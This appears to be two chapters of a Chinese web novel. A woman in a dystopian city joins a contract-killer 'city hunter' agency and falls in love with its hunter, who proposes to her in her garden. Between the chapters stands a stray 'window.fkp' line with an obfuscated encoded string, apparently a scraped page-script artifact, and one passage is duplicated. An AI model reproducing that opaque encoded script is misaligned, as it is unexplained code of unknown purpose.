一次东洋墟(又称东洋国)的底层演唱会上,年轻的我只是过路看客,本着看个新鲜的想法,我买了票,踏入了会场的门。我坐在了比较靠舞台的一个位置上,等着一个名为“野狼乐队”的乐队登上舞台演出。我本来对这场演唱会没抱多大期待,只是看个新鲜。当野狼乐队的人上场的时候,我仔细打量了他们一番,发现他们大多都相貌平平,就主唱还稍微好看一点。在演唱会开始的时候,吉他手开始弹奏,鼓手开始伴奏,主唱在舞台上酝酿情感。本以为就正常的摇滚乐队那样,直到在演唱的最后一段,那个拿着红色吉他的男人弹奏起了一首震惊全场的曲子。先是如细雨一般的快速轻弹,主唱离开麦克风,配合着节奏开始拍手。突然,如雷霆霹雳一般的几下扣弦重音,其他吉他手配合着弹奏起了如急雨一般的附和声,鼓手按照节奏敲出了重音与轻音的混响音。全场瞬间沸腾。 这突然的变化让我措手不及,这次的演唱会刷新了我对底层人民的认知。我激动地为他们呐喊,沉浸在他们最后的收尾曲之中。这收尾曲演绎出了城市的岁月与历史,又演绎出了暴风骤雨的汪洋大海。这次,那个拿着红色吉他的男人给我留下了很深的印象。后找人打听,才知道他叫齐百陵。 在企业战争时期,我家遭受到了敌对企业的攻击与诋毁,导致我们一家人都失了业。正赶上老爸生病,妈妈出车祸,那时候是我人生的低谷期。在每年一次的大筛选机制中,我们因为条件过低要在五日之内离开。走时,我很不舍得这里,但又不得不离开。面对未来的生活,我那时很迷茫。我不知道底层是怎样,更不知道我接下来要面对什么。 到了东玲国,我们一家的生活有些困难。所幸弟弟比较争气,靠人缘与实力得到了龙辉神匠公司的铁饭碗。而我就没弟弟幸运,我只找了个普通的超市上班。本来日子可以向着好的那一面发展,直到那一天的到来。 一个名为富人游戏的节目毁掉了我的生活。因为抽到了我弟弟,所以就有调解人来处理我弟弟。那时见到弟弟面目全非的尸体的我,几乎彻底崩溃了。我那段时间很难过,请了好几天的假,后来也没再那个超市继续工作。为了给弟弟报仇,我花光我所有的积蓄,又借了点外债,准备去雇佣一位都市猎人来去给我弟弟报仇。我问遍了一条街的事务所,可就没有一个人能够帮我弟弟报仇。直到我找到了“百陵事务所”。 那是我与他的第二次相见,那次改变了我的人生。当见到他的时候,我立马就认出了他来,他就是当时那位为我带来惊艳的吉他手齐百陵。我跟他说我认识他,但他没有在意这些,只是问我要来处理什么事。他的冷漠有些伤了我的心,但我没有太过在意。我将我要处理的事一五一十地告诉了他,说的时候还憋屈地哭了一会。他没有安慰我,只是无言的看着。在听到了事情的发展以及要求所肃清的目标之后,他立马开出了价格。 “897块钱,先付款,再办事。” 我当时至多只有670块钱,压根就付不起这么多的钱。他见我没那么多钱,就给我拿来了一张欠条,告诉我钱可以以后再付。我在欠条上签了字,并将身上的670块钱给了他。那时我第一次被他所感动到,也是打开我和他故事的序章。他的办事效率很高,不到三天,那个杀了我弟弟的调解人就被他杀死了。我很感谢他,想要给他买点礼物。可他拒绝了我的好意,并告诉我给钱杀人是这里的规矩,送礼是不必要的。 我那时没了经济来源,想要打工赚钱。可无论去干什么,我都打不起兴趣。突然间,我有了个大胆的想法。我去相关单位办了张都市猎人的证,然后入籍了都市猎人的管理协会,成了一名一阶都市猎人。 某一天,我找到了他,正好赶上了他没委托的闲暇时光。我告诉他我想来他的事务所任职,他没同意,反倒嘲笑了我一番。他劝我不要趟这浑水,可我不听。那时的我是个孤家寡人,还能信任的人只有他一个。他把我赶走了,说是嫌我太弱会添麻烦。 第二天我又来了,再次与他协商,被他赶走了。第三天我又来了,再次与他协商,又被他赶走了。第四天、第五天、第六天都是这样,我烦了他将近一周。第七天的时候,他实在是不耐烦,就拔出刀,抵在我的脖子上来威胁我。本来那时我也一无所有,本着死了就死了的态度,我丝毫没有害怕。也许是被我的勇气所打动,他妥协了,让我当起了事务所里的接待。 虽然只是个不主动出击的接待,但我的每天都过得比之前有意思许多,似乎是因为他的缘故。我从这时开始觉得,我好像喜欢上了他。他给我的印象很特殊。他是个冷酷无情的猎人,无论是怎样的委托,他都会去接。大到猎杀协会要员,小到去帮人抬东西。我从没见他笑过,他整天都是一副严肃的表情,他那眼神犀利无比,就跟要杀人似的。他整日穿着个深蓝色猎人服,偶尔换个口味穿白西装。看着他就让我不禁严肃起来,因为他带给人的感觉就是那样的。 即便我是个接待,但他也希望我强大一些,说是不让我去丢他的脸。他对我进行了两个多月的训练,让我从一个偏文的人偏了些武。但我的表现还是没达到他对我预期,我让他失望了很多次。 记忆丢失...... 在干了三个月后,我终于迎来了一次属于我自己的委托。这次是在他不在的情况下,有人来委托去处理掉一个人。听到对方是个不算强大的地方混混时,我就想我有机会去向他证明自己了,于是我背着他偷偷接了这个委托。我拿着一把斧头和一把武士刀就来到了那个目标的家中。进去后,我二话不说,就拿着武器就是一顿乱砍。对方人比我多,我在进去战斗了没多长时间后就败下阵来,被对方群殴了。要不是我衣服上的名牌写了百陵事务所五个字,我当时就被他们给打死了。 后来,我被送到了医院。我被打断了两根手指,四根肋骨,还掉了两颗牙,差点肝脏内出血。我不记得在我昏迷的时候发生了什么,我只知道当我再次睁开眼睛的时候,我看到了他正坐在病床前看着我。我那时很感动,我都没想过他还能在病床前守候我。见到我醒来,他二话不说先骂了我几句,然后向我诉说我干了那件事之后的后续,以及那些人是怎么找他茬的。这些给他气够呛,但鉴于我还很虚弱,他就没太多计较。 我躺在病床上的那几天,他每天都会准时准点地来到病床前看望我,偶尔还给我带点水果。虽然他从不说任何关心我的话,但他的实际行动已经向我表达了他的想法。他还是关心我的。 等我病好了,我就回到了事务所之中。那时,我刚进去,他就把我拉到了沙发前,让我坐下。我没明白他是个什么意思,我就按照他的要求坐下。没想到我刚坐下,他就狠狠地给我来了一巴掌,给我扇得差点就一头栽倒在沙发上。他指着我,用很脏的话骂我,来回数落了我几句,似乎那件事他的气还没有消。我现在仍清晰地记得,他骂我时,说了一句让我印象深刻的话。 “你他妈要是死外面了,谁他妈给你收尸?!你才干多久啊?就敢去执行这种任务?!活腻歪了!你要是死了,我他妈还得连喝几天的闷酒!” 不过那时的我并没有听出他这话的意思,我只是把头埋进怀里,委屈地哭。见到我哭,他没有停止谩骂,反而骂的更加起劲了。骂完我,他出去走了一圈,留我一人在事务所里孤独地哭泣。我那时心里很委屈,只因为他不理解我的用意。我想证明自己,我想和他一起战斗。 在他回来的时候,我已经不哭了。我靠在沙发上,思考着、检讨着我自己的错误。就在这时,他坐在我的身旁,用手轻轻碰了碰我被扇那半边脸。他仔细地看了看我的表情,然后问我: “还疼着吗?” 他的语气没之前那般强硬。我看向他,心里是说不出的激动与惊讶。我摇了摇头,告诉他: “现在不疼了。” 他点点头,用手轻轻揉了揉我被扇的那半边脸,苦口婆心地告诉我: “以后有什么先跟我说,别再自己孤身一人了。好吗?” 我心底里有怨气,自然没直接接受他的好意。毕竟那一巴掌扇到了我的心里,他骂我的话深深刺痛了我的心。我故作一脸不乐意,对着他有一百个不乐意地说道: “说这么多干什么?我死了,你不就少个干活的吗?还省得你还这么生气了。死了,多消停啊。真是的......” 我这么说,他竟然没有生气。他从脸上挤出一点笑容,用很真诚的语气跟我说: “你死了,谁给我接委托啊?” “乐谁接,谁接......” 我当时是这么回答他的。我那时固执的跟个小孩子一样,傻里傻气的。他看着我,不知为何收起了笑容。他似乎是被我这话给弄生气了,或是有了其他的想法。他靠在沙发上,一脸轻松地对我说: “要是你不给我接委托的话,我会很不自在的。能有个妹子帮忙,挺好的,还能帮我分担点压力什么的。” 我一脸傲娇,没把他的话太放在心上。我只是摆出不乐意的样子,对着他抱怨。真不知那时的我是怎么有这种勇气的,也许是魔力的作用。 “换谁不一样吗?总有比我强的。你要那种好看的、诱人的美女这里可不缺,换她们不比我这个要啥啥没有的强?” 他笑了笑,摇了摇头。那时我第一次见他笑,我才知道他这么冷酷无情的人竟也有笑的时候。接下来,他的回答惊艳到了那时的我。那句话至今回味,还能感动到我。 “不,有你我才自在。” 听到这回答的时候,我心里只有激动、惊喜和紧张,我当时差点就叫出声来。我的脸当时就红了起来,当时可害羞死我了。他见我这个反应,赶忙跟我解释道: “你别想歪,我的意识是你是这个事务所必不可分的一个份子。你在这待久了,要是走了,换谁都不习惯的。要是那天你要是犯了大错,我肯定是给你开除的!明白没有。” 我红着脸,点了点头。这时,他突然从桌子上拿出了一个很大的长方形盒子,然后放在了我的面前。他指着这个盒子,告诉我: “我知道你想干什么。你这么做无非是想向我证明你的实力,以便能拿到更多的工资。如果那天你真的有实力能够与我一起执行任务,这盒子里的东西就属于你。” 记忆丢失...... 之后的一段时间,我一直在努力锻炼我的剑术与体术,争取早一天能够与他并肩战斗。这种执念持续了很久,我一直没有放弃。日子一天天过去,我的实力见长明显,甚至能破他几招,但他却迟迟不让我成为他的搭档,说是为时过早。 在那段时间里,他对我态度有了一些转变。他对我不再是那种死板着的脸,而是稍显自然。就像是他对待亲戚朋友一样时的那样。偶尔在闲来无事的时候,他还会跟我尬聊一会,甚至会跟我开开玩笑。 有时我早上没吃早饭就来到事务所内工作,他见了,会问几句。知道我没吃早饭,还会亲自以“出去遛弯”的理由为我买来早饭。大多情况下是牛奶与面包,偶尔有包子和豆浆。这种情况下,他总是会晚开门一段时间,甚至有时会先暂时推掉委托,只为了让我安心吃完早饭。他一般情况下总是用幽默的语气对我说: “今天又没吃早饭吗?是不是又晚睡了?赶紧吃吧,我今天‘迟到’几分钟,晚点开门。” 这时,我总是会对他笑,他也总是会对我笑。他所谓的晚睡,就是在我遇到他之后突然养成了一个习惯。那就是晚上写日记。每天我都会记录一天发生的事,以及我们两个之间的点点滴滴。每当收尾之时,我总会画出一个小人,来代表我的今天的心情。经常,我都会在这个小人的身旁画上一个爱心。 有时,我和他都有生病的时候。他生病了就是装也要装作很坚挺,从来不向我展露他弱小的那一面,似乎他必须在别人面前是坚强之人。我要是想关心他,他可就不乐意了。各种拒绝,变着法的拒绝。有时我的“攻势”太猛,他还得以“退场”的方式躲避我的进攻。他真的太倔强了! 可当我生病的时候,就是两级反转了。他不光是关心我,还给我买药,一买就是一大兜。他从不在乎在我身上的花费,就是再贵的药,只要是能治好我的病的好药,他就咬咬牙,买下来。想着大不了就多干几单赚回来。即便我装得再好,他也能一眼看透我的伪装。有时我生不生病最先知道的不是我,而是他。我也想像他拒绝我一样拒绝他,可他的“攻势”是无懈可击的。我又不像他那样能找地方撤退,只能是败下阵来了。 我跟他一起工作了六个多月,我与他的关系也在这六个多月中渐渐改变。从原来的上司下属关系到了朋友关系,从彼此冷漠到了相互关心。期间我们两个还在一起过了个年。那时我们看了华丽的烟花展,那华丽的烟花至今我还记得。我们一起在他家包了顿饺子,我那时才知道他家原来那么乱,我废了老长时间跟他一起打扫干净!最后我和他一起看了场贺岁档,体验了一把双人观影的感觉。我觉得那样的生活很快乐,因为身旁有他这个死傲娇陪着。即使我不生活在物质生活不错的地平区,但这里能给予我的远比物质生活更要让我向往。 记得在遇到他第二年的夏天,我租下了一块空地,花钱把它打造成了一个花园。这个花园的面积很大,甚至说在上面盖一栋房子都毫不过分。这个花园里还有一颗老杨树,我没舍得砍了它。寻思着它也本身是这里的一份子,若砍了它,就是对这里的不敬。我把它留了下来,让它成了花园里的一个卫士,为我栽培的那些花遮风挡雨。有时还能给我提供一片阴凉,让我纳凉用;我甚至可以靠着它,在花园里打个盹。越是这样,我就越庆幸我当初没有砍掉它的决定。 我有个习惯,那就是喜欢种花;无论我到了哪里,无论我是贫穷还是富裕,我都会买几包种子和几个花盆,找个地方种点花。我这辈子不会琴棋书画,也不会高雅艺术,只会这一个小小的种花。我妈曾说我上帝的园丁转世到了她们家。这话说起来,确实没什么毛病。我从小就会种花,而且种的还很好。我也不知道为什么,我就迷恋上的种花。有点土和种子,我就会找个花盆,种几株花儿。盼望着它们发芽,盼望着他们开花。即使有的种子没发芽我也不会气馁,因为我知道并不一定是所有的种子都能发芽这个道理。但如果有的花在盛开前凋零了,我还会难受一番。不过总的来说,种花还是让我开心的呀! 某一天,我正在花园里料理着我的几株高贵的蓝色妖姬,突然花园的门被人给推开了。我转头一看,发现是他来了。他来时匆匆,身上的血迹还没处理,脸上的血迹也没去擦。我见他来了,赶忙放下手中的工具去迎接他。他在花园里左顾右盼,似乎是怕踩到我种的花,就没敢多走几步。见我迎了上来,他就好奇地问我: “这里是你的花园?” 我点点头,笑着告诉他: “是的。” 他张望了一圈,发现园中的几丛五彩斑斓的花。他似乎不太是喜欢那些花,他没有怎么去看,只是一眼扫过。看过花,他对我说: “你原来喜欢种花吗?” 我笑了笑,回答他: “对啊。你想要几盆吗?” 他拒绝了,告诉我他不想要这些花,说是会浪费他宝贵的时间。我从地上拿起一包种子,告诉他: “你可以尝试一下。种一朵花,能给你带来令你惊喜的收获。” 他似乎没有听进去,还是保持拒绝的态度。见到他并不领情,我也只好放下这包种子。这时,他突然问我: “你种花这习惯有几年了?” 我说: “二十多年了。” 他一脸惊讶,从他的眼神之中我可以看出他心中的疑惑与不解。他说: “啊?你可真的太有毅力了。” 突然,他话锋一转,问我: “你这花园是买的还是租的?” 我说: “租的。” 他点了点头,然后找了个理由离开了。看着他离去时的背影,我老觉得他是想背着我做什么事情。但不好意思开口去问,之后便不了了之了。 后来我看上了一朵品种独特的白玫瑰,但我并没有向他透露出我这个想法。不知他是从谁哪里听到的消息,就给我着手去准备。同一时间,我也通过打听知道了他看上了一件很贵的蓝色燕尾服,他攒了很久的钱,可就是没有勇气去花那么多的钱去买。我偷偷地给他去准备。虽然过程很是艰辛,但我最后还是弄来了那身蓝色燕尾服。为了给他一个惊喜,我花了很长的时间去做了一个漂亮的衣盒,还花了好几天去摸清了他未来几天的大致行程,就为了在一天晚上将这份惊喜给他呈上。 在我计划送出惊喜的那天早上,我正准备离开家去上班,刚开门,就见到一盆盛开着的白玫瑰放在我的门前。我那时别提有多惊喜了,差点就在走廊里喊出声来。我小心翼翼地将这盆白玫瑰拿进屋里,然后一边欣赏,一边思考是谁为我送来的。想来想去,也就只能是他。可他不喜欢花...... 带着这种矛盾的心理,我来到事务所。见到他的第一面,我竟忸怩起来,脸因为害羞而红了起来。我很激动,但却没敢好意思主动去问。他看着我,想说什么但又没开口去说。我们两个保持沉默了很长一段时间。那段时间他他看我,只是低着头看报纸。我也不看他,只是低着头记着每日的委托笔记。突然,沉默被打破他一句话所打破。 “你早上是不是小酌了一杯啊?” 他放下报纸,看着我说道。我先是愣了一下,摇了摇头,告诉他: “没......我不喜欢喝酒的。” 他若有所思地点了点头,就在这时,我的眼神偷偷飘向了他。我发现他的右手手背上有一点泥痕。我突然知道答案,原来真的就是他送的。我低下头偷偷地笑,心里是无限的感动。这时,他突然拿起报纸,然后漫不经心地问我: “那盆破花你收到了没?” 我刻意压低我激动的声音,回答他: “收到了。” 听到我肯定的回答,他继续漫不经心地说: “这破东西浪费了我老长时间了!就跟一块烂表一样,让我反复去弄。一包还不够我试个几回的,差点就‘弹尽粮绝’了。不过话说回来,你觉得怎么样啊?” 他的漫步尽心是装出来的,我能从他的言语之间明白他的心意。一听到这是他亲手栽培出来的成果,我心中的喜悦和激动难以用语言来诉说。不过我那时没把控住,还是让喜悦显露出言表来。他见了,笑了一下,然后瞬间严肃起来。我那时笑着告诉他: “那是我见过最漂亮的花。谢谢你,齐百陵。” 他故作镇定地看了我一眼,然后点了点头,继续去看他的报纸。他装出了以为不在意的样子,但他在看报纸时不经意上扬的嘴角,告诉了我他内心的真实想法。 到了夜幕时刻,我将准备许久的那份礼物悄悄地放在了他的办公桌上。然后偷偷地提前下班回家,回到家里期待着他收到礼物时时的喜悦。盼望着,盼望着,时间飞逝,转眼间就到了“霓虹花”盛开在大街小巷里的时候。我那时正看着电视,突然听到有人敲门。我走过去开门,发现是他敲的门。我以为他是来我家做客,于是热情地邀请他进来。他摆摆手,拒绝了我的好意。他拿出我送他的那个衣盒,然后语气冷漠地跟我说: “你没必要这么做。这件破衣裳还给你,我不需要。” 他这话如晴天霹雳一般,深深地震撼到了我。讷讷半晌,我站着一动不动。他见了,一把将这个衣盒塞到我的手中,然后就准备离开。我一把拉住他的手,一脸不解地看着他。他没有回过头来去看我,甚至连一句话也没说。我当时伤心极了,泪水不争气地从眼角往下流,我问他: “你真的......不喜欢吗?” 他没说话。我突然放开了手,让他离去了。我也不知道我当时是怎么想的,我只知道他走时的身影显得有些仓促。我关上门,一把将手中精致的衣盒摔在了沙发上,那衣盒被我摔烂了。我气愤地走到那个衣盒前,正准备拿出里面的衣服去摔在地上来发泄,可当我拿起那件衣服的时候,我猛然发现,这不是我送他的那身蓝色燕尾服,而是一件猎人大衣和一件百合花纹衬衫。看到它们的瞬间,我心里的愤怒与悲伤瞬间烟消云散了。 我仔细地摸了摸这两件衣服,发现这猎人大衣内置了防刺锁子内衬,那件百合花纹衬衫里面是加绒的。我此时很后悔,后悔我摔烂了这个衣盒,后悔我误解了他的意思。这时,我的余光瞥见了一张从衣盒里掉下的卡片。我将手中这两件轻轻地放在沙发上,然后捡起那张纸片一看,我再次落泪,不过这次的是感动的泪水。 卡片上: “只有最大的反转,才能带来最大的惊喜。你被骗了!卡娜铃兰。从明天开始,你就是我的搭档了,唯一的搭档。这身衣服看看合不合身,要是不合身,明天我再让裁缝给你改改。——齐百陵” 看到卡片上的内容的我,一边哭一边笑。喜悦、激动和感动占据了我的内心,除此之外,还有些许幸福。 记忆丢失...... 自从成了他的搭档,我基本就是干打下手的工作。他是主动进攻,我是被动辅助。也许是怕我一时接受不了这里的黑暗,对猎杀目标的最后一击总是他来完成。可与他一起战斗久了,我也不再会去惧怕那所谓黑暗,因为他是我心中的永不熄灭的光。曾经对于我来说的劲敌,在他的陪伴下,也不再强大;手起刀落就可斩杀。我与他一起对付过都市猎人、街头混混、疫病感染者、暴走智能AI......甚至一同面对过体积庞大的扭曲生物。 在我第一次主动杀死一个都市猎人的时候,我被吓到了。那是我第一次杀掉一个与我毫无瓜葛的人,那是我作为都市猎人所完成的第一次猎杀。我被吓得全身发抖,背后冷汗直流,我的手脚都开始不听使唤,只知道一个劲地远离现场。那时候,他为了安抚我深陷恐惧的内心,就在桥头下(当时交战的地点)轻轻地搂着我,然后一步一步地将我带离现场。在回去的路上,他一个劲地用温柔的话语来安慰我,不时轻拍我的后背,就像安慰一个被吓坏了的孩子。不仅如此,在我没走出恐惧的那一小段时间,他一直陪在我的身旁,从未离开一刻。我依靠在他的身上,就像在依靠一座大山一样。我极力去压制心中的恐惧,可那恐惧仍在我心里肆虐。当时那恐惧差点就吞噬了我,我当时害怕到连话都说出来了,嘴唇直发颤。 我和他最后转移到了一个公园里面,他走得有些累了,见我也有些累,就找了个长凳坐下。他抱着正在发抖的我,我能感受到他那颗心里的温暖。他轻拍我的后背,用最温柔的口吻对我说: “别害怕,有我在这里。别害怕,保持冷静......别害怕,没有什么可怕的。有我在,没事的,都没事的.....” 我当时太过于害怕,嘴里一直叨咕着“怎么办......会有鬼来找我吗?”这句话。他听了,告诉我: “别害怕,这世界上没有鬼。要是有,我也不会让他碰你的,我会一直守候在你身旁。别害怕,别害怕......” “你真的会一直守候在我身旁吗?别走,别走!我害怕......我害怕孤独......” 我那时是带着恐惧这么问他的。他是这么回答我的: “我不会离开的!我会一直陪在你身边的。就算是大雨倾盆、天塌地陷我也不会离开,我会一直守候你!别害怕......” 我看着他,用颤抖的声音问他: “为什么?你为什么......” 他的眼神突然坚定起来,他的表情突然严肃起来。他用坚定的语气告诉我: “我不想把你弄丢了。我本就一无所有,丢了你,我还剩些什么呢?只与怨气与怒火罢了。” 这句话让我心中的恐惧消散了许多。看着他坚定的眼神与他稍稍泛红的脸,我的脸上浮现起了一抹甜甜的微笑。我知道,他只是不善于表达心中的想法,但无可改变的,他的心灵已经向我这里倾倒了过来。那种状态持续了很久,可他却丝毫没有厌倦。他安慰我安慰到嗓子都哑了却还在一直安慰,他的手都快僵住了却还在轻拍我的后背。 突然,他想到了一个好主意。他清了清嗓子,用低沉且轻柔的嗓音给我起了唱歌。虽然他不怎么会唱歌,而且老唱跑调,好几次都尴尬地反复重唱。我一点都没有在意这些缺点,我深深地沉醉在了他的歌声之中。唱歌的时候,他的脸始终是红着的,而且唱的时候总是闭着眼睛唱,就怕看到有人去看他的尴尬。这时的公园还算人比较少,还很安静;我们所在了这条路上暂时没有人走,因此没有行人来看他唱歌。不知不觉间,我心里那恐惧就便烟消云散了。 记忆严重丢失...... 在我与他相遇后的第三年春,我已经是个平平无奇的五阶都市猎人,成了他身旁的最佳搭档。我们两个的感情已经逐步升温,从原来的朋友变为了现在的伴侣。他找我拜师学艺,跟我学起了种花。我很细心地教他,他很认真地去学。虽然他偶尔能犯下一些傻里傻气的低级错误,引得我笑,但总体而言,他可以称得上是一位优秀的花匠了。我和他会在闲余时间或节假日去一起料理我们的花园。我们两个一起播种、一起给花浇水、一起给花施肥、一起期待花儿发芽、一起感受见证发芽时的喜悦、一起盼望着花儿盛开、一起靠在那颗老杨树下欣赏花园里的朵朵鲜花。日子是一天比一天舒坦,即使我正处在世界的最低处。可我仍觉得如此,只因为我身旁有他这个真心实意的伴侣。 那个春天,是我最难忘记的春天。在某一天的黄昏时分,我放下武器与沉重的工作,准备去我的花园里放松一下心灵。我到了花园之中,给我刚刚才发芽的小花浇浇水,然后给那些快开花的花松松土。就在这时,花园的门被人推开了。我想那一定是他,因为只有他会和我一样来这里。结果当我站起身来转身看去的时候,竟然是这个花园的土地所有人。我以为他是来收回土地的,没想到他竟将一份协议递交与我,协议上是宣布土地所有权的转让。这让我既惊讶又高兴。我问他是谁替她买下了这块地,他笑呵呵地回答是齐百陵所为。我当时听了感动至极,因为我知道这块土地究竟有多贵,那些钱要忙活不知多少个日夜才能凑齐。当我在协议上签字后,他又告诉我齐百陵让我在这里等着,一会就来找我。我点了点头,留在这里等候他的到来。 等待的过程中,我心里是满满的期待。我时不时在那里坐一会;觉得不行,又去另一边坐一会;又觉得不行,又去靠着那颗老杨树。我此时心中的激动已经按捺不住了,想要释放却又无处释放。即便我猜测齐百陵只是为我准备一份普通的礼物,或者压根连礼物都没有,但是即使这样,我也是激动着的状态。等待的过程是漫长的,我一直痴痴地看着远处的街道,很期待他的身影出现在街边。我猜测着他的出场方式,幻想着接下来会发生的一百种事,幻想着他会对我说的一百种话...... “他究竟给不给我一个惊喜?他究竟给我什么惊喜?会不会让我大吃一惊呢?”这三个问题萦绕在我的脑中。 终于,在苦苦的等待之后,他出现在了街的一家。他背着一把红色的吉他,手里拿着一朵玫瑰花,走路的姿势很是潇洒,他甚至还挂了胡子。我按捺了下激动的心情,装作没那么激动,接着就看着他一步一步走进花园。待他进了花园,我立马笑着迎了上去。他刚进花园没走几步,见我迎上来了,顺势就将手中的玫瑰花递给我。我接过玫瑰花,仔细地闻了闻,玫瑰花的花香很浓烈,其中还带着几分妖艳。都说玫瑰的香味如一位火辣的美女一样,光是瞥上几眼就能让人沉醉在她的美色之中。我自然是不例外,很快就沉醉在玫瑰花的花香之中。想来,这话的确是没什么毛病。 他看我一脸享受的样子,脸上就有了一抹微笑。他问我: “怎么样?喜欢吗。” 他的话将我让我清醒了过来。只是瞬间,我就开始紧张,心跳立马就加速,脸也随之红了起来。我的眼神试着逃避,但却总想去直视他。心里的矛盾让我有些不安,我有些不自然。他在一旁微笑,无言地等待我的回答。我沉默了一会,大脑飞速运作,思考着对她的最佳回答。终于,我打破沉默,笑着回答他: “喜欢!很喜欢!” 他见我这个回答,像是开玩笑般笑着问我: “有多喜欢?” 我说: “特别喜欢它,但我更喜欢别的什么花.......” 我心里实际上更想说那个字,不过此时的我没有那个勇气,只能找个其他词来代替。他见我是这个回答,没有太过在意。他拿出背后背着的吉他,轻弹试了下音,似乎是要为我弹奏一曲。他微笑着对我说: “这是把新吉他,还没怎么弹过。你想听什么曲子吗?我可以给你弹一弹。” 那时我知道他还是野狼乐团的一员,因此对弹奏这件事有绝对的把握与信心。我听过很多首歌,但唯独想再听一遍的只有他曾经在演唱会上所演奏的那个曲子。我不求鼓手与伴奏,只想听到他的独奏。我将这个想法告诉给了他,他面露难色,说是不熟练。但他那伪装我早已看穿,这首曲子实际上是他弹奏的最熟练的那首。在我的反复恳求下,他同意去弹这首曲子。 他开始弹奏,他弹得很用心,为确保能弹得最好,他闭上了眼睛,在心中张开了一张乐谱。我在一旁看着他弹奏,认真地聆听着这首独特的曲子。这次我没了之前的漫不经心,我在全神贯注地倾听。熟悉的轻弹,熟悉的收尾曲,熟悉的那份震撼与激动。似乎我回到了过去,回到了与他相遇的第一天。从那天见到他开始,命运就连接了我们彼此,让我们两个渐渐走到了一起。即便生活充满苦难与艰辛,但若有了他,那些对我来说也算不得什么了。曲声减弱,他慢慢地停止了弹奏,而我还沉醉在那首曲子之中,仍有些意犹未尽。 他问我: “好听吗?” 我告诉他: “好听,这是我听过最好听的乐曲!感谢你为我演奏。” 这时,他放下手中的吉他,将它小心翼翼地放在了花园的栅栏旁。突然,从衣服的口袋里拿出了一个黑色小盒。在看到这个小盒的一瞬间,我整个人都呆住了,我心中的激动在此刻达到了顶峰。他对着我,猛地一个单膝跪地。见到此景,我被吓了一大跳。我从未想过他有一天能为我跪下,因为我知道他是个怎样坚强的男人。这时,他高抬手中的那个黑色小盒,然后对着我慢慢打开。远处的灯光照在这个小盒上,慢慢地,一枚嵌着钻石的金戒指出现在我的眼前。那是一枚结婚戒指。 “天啊!” 我捂着嘴惊呼道。幸福感瞬间涌上了我的心头,前所未有的感动与喜悦填满了我的内心。我被惊讶到一时僵在了原地,不知如何是好。他抬头看着我,用他最真诚的眼神。他脸上挂起一抹灿烂的笑容,那笑容是我见过最帅气的笑容。他向我表现出他最帅气与温柔的那一面,并用他最温柔的嗓音十分郑重地对我说: “亲爱的卡娜铃兰小姐,嫁给我吧。” 听到这句话的时候,幸福如巨浪冲击孤岛一般,将我的内心埋没。我从未感觉像此刻这么幸福过!我从未感觉像此刻这么开心过!我的心里冒出了无数句话来去表达我此刻的心情,每句话都能抵得上千言万语。我感觉嘴里甜甜的,心里也甜甜的,就像是吃了一块蜜糖。甜意流进了我的心里,似春雨一般滋养我心中那块贫瘠的土地,让那块贫瘠的土地上也能有一片美丽的花海;在那花海的中央,伫立着一朵永不凋零的玫瑰。千言万语汇聚成了一句话,这句话十分简短,只有三个字,但是却是此刻最美的回答。 “我愿意......” 我深情地喊出了这句话。他听到这句话的时候,反应也跟我差不多,也是愣了有一会。他的脸上是他最快乐与幸福的笑容,这是我第一次见到他这样的笑容。那笑容说实在的,至今回味都觉得可爱与帅气各占三分。他激动地手都开始发抖,这是他第一次面对这种情况。他第一次这么去爱一个人,第一次敢于对那个人表白。他拿起那枚戒指,我将右手伸了过去。他轻轻地抓住我这只手,然后慢慢地将这枚戒指戴在了我的无名指上。 从戴上了这枚戒指开始,我与他的心至此永远相连。他是我的唯一,他是我在这个世界中的寒夜炬火,他是照亮我生活的光!有了你在,即便是狂风暴雨我也不会觉得害怕!有了你在,便是千里冰封我也不会觉得寒冷!若没了你,生活的每一秒都是煎熬!若没了你,糖果的味道也将变得酸苦!我和他将用我们剩余的一生相互厮守,直至我们都离开这个美丽的世界。 晶莹剔透的泪水从我的眼角流下,它饱含我的喜悦与感动。我曾幻想过这一天的到来,但那份真挚的感情,是无法被幻想出来的。我预料我会落泪,但我没预料到我会笑着去落泪。为我戴完戒指后,他站了起来。突然,他用力抱住了我,我也用力抱住了他。那是温暖与喜悦的相拥,那是我们作为夫妻的第一次相拥。拥抱过后,我们两个松开彼此,然后深情地看着对方。不知是谁先起的头,我们两个的脸就慢慢相互靠近。我看着他的脸,他看着我的脸。我们两个的脸都红了起来,各自都有点害羞。但那羞涩很快消去,我们两个深情对视一眼,然后就是深情的一吻。 后来,这个花园被我和他命名为:“秘密花园”。 那是我这辈子最幸福的一刻,除了它以外没有任何事能让我感觉到如此幸福。与恋人相爱,对我来说就是莫大的幸福。我们从最初的懵懂,到彼此认识对方,再到感情升温,最后到如今的结为夫妻。这条路充满了坎坷,但我们仍坚持走到了最后。 后来,这个花园被我和他命名为:“秘密花园”。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第二十话:秘密花园(下) 那是我这辈子最幸福的一刻,除了它以外没有任何事能让我感觉到如此幸福。与恋人相爱,对我来说就是莫大的幸福。我们从最初的懵懂,到彼此认识对方,再到感情升温,最后到如今的结为夫妻。这条路充满了坎坷,但我们仍坚持走到了最后。 记忆严重丢失...... 在领完结婚证之后,我们两个并没有去举办婚礼,一方面是因为我们的经济实力不允许,另一方面是因为我们两个都想着去地平区以后再去举办婚礼。在这里的人都有个梦想,那就是挣到去地平区生活的“船票”,我们两个自然也不例外。在某天的下午,我们两个在我的秘密花园里料理完花,就靠在那颗老杨树旁看着花儿聊天。平常都是聊些家常与有的没的,而今天有所不同,我们聊到了我们两个的未来。虽然是他先问的,但在谈话中他却是最迷茫的那个。我问他: “你想过我们的未来是什么样的吗?” 他显得有些尴尬,他从未想过这么深远的问题。他很尴尬地回答我: “想过,跟你一起赚钱,一起生活,一起去追逐我们的梦想。再生个大胖小子,然后......我就不知道了。” 我拍了他的头一下,一脸不乐意地问他: “这就是你对我们婚姻未来的想法吗?” 他一脸委屈地捂了捂脑袋,反问我: “结婚不就是用来干这个的嘛?” 我顿时无语了,也不知道该去怎么反驳他。过了一会,他搂住我,和和气气地跟我说: “好了好了,别在乎我这个呆瓜口出狂言,我亲爱又聪慧的老婆大人。” 